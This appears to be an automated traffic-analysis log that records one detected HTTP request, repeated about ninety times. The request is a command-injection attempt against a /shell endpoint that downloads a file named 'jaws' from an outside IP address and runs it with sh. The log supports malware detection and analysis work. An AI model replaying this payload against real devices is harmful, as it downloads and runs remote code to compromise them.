Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
